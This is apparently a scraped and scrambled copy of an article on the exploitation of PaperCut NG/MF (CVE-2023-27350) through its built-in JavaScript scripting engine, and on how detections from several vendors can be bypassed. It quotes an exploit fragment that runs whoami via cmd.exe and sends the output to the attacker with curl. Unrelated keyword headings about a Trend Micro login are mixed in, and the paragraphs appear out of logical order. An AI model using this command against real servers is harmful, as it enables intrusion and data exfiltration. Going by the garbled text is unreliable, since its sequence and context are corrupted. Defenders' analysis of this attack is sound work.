

The previously mentioned Metasploit module is interesting. The attacker cannot maintain execution in the engine itself they have to migrate to another process.
#Trend micro account log in code
Perhaps the main reason they didn’t establish a reverse shell is because the scripting engine has a five second timeout (see decompiled code below).

exec ( 'cmd.exe /C \" for /F \" usebackq delims= \" %A in (`whoami`) do curl \" ' ) Horizon3.ai’s exploit uses the scripting interface to execute a single Windows command ( whoami) and sends the response back to the attacker via curl:.
#Trend micro account log in full
PaperCut Software implemented configuration options to lessen the risk of this arbitrary code execution vector, but since the attacker has full administrative access, those protections are easily disabled. The JavaScript engine is Rhino, which also allows that user to execute arbitrary Java. In both cases, the attacker abuses the system’s built-in JavaScript interface.

However, VulnCheck researchers have found a proof-of-concept exploit that bypasses all published detections from Huntress, Horizon3.ai, Emerging Threats and Microsoft. Multiple security organizations have published exploit detections and indicators of compromise that assume attackers are executing code through PaperCut’s built-in scripting interface. The exploited vulnerability would later be assigned CVE-2023-27350. In mid-April, attackers began exploiting a vulnerability in PaperCut NG and MF. Since attackers learn from defenders' public detections, it's the defenders’ responsibility to produce robust detections that aren’t easily bypassed.
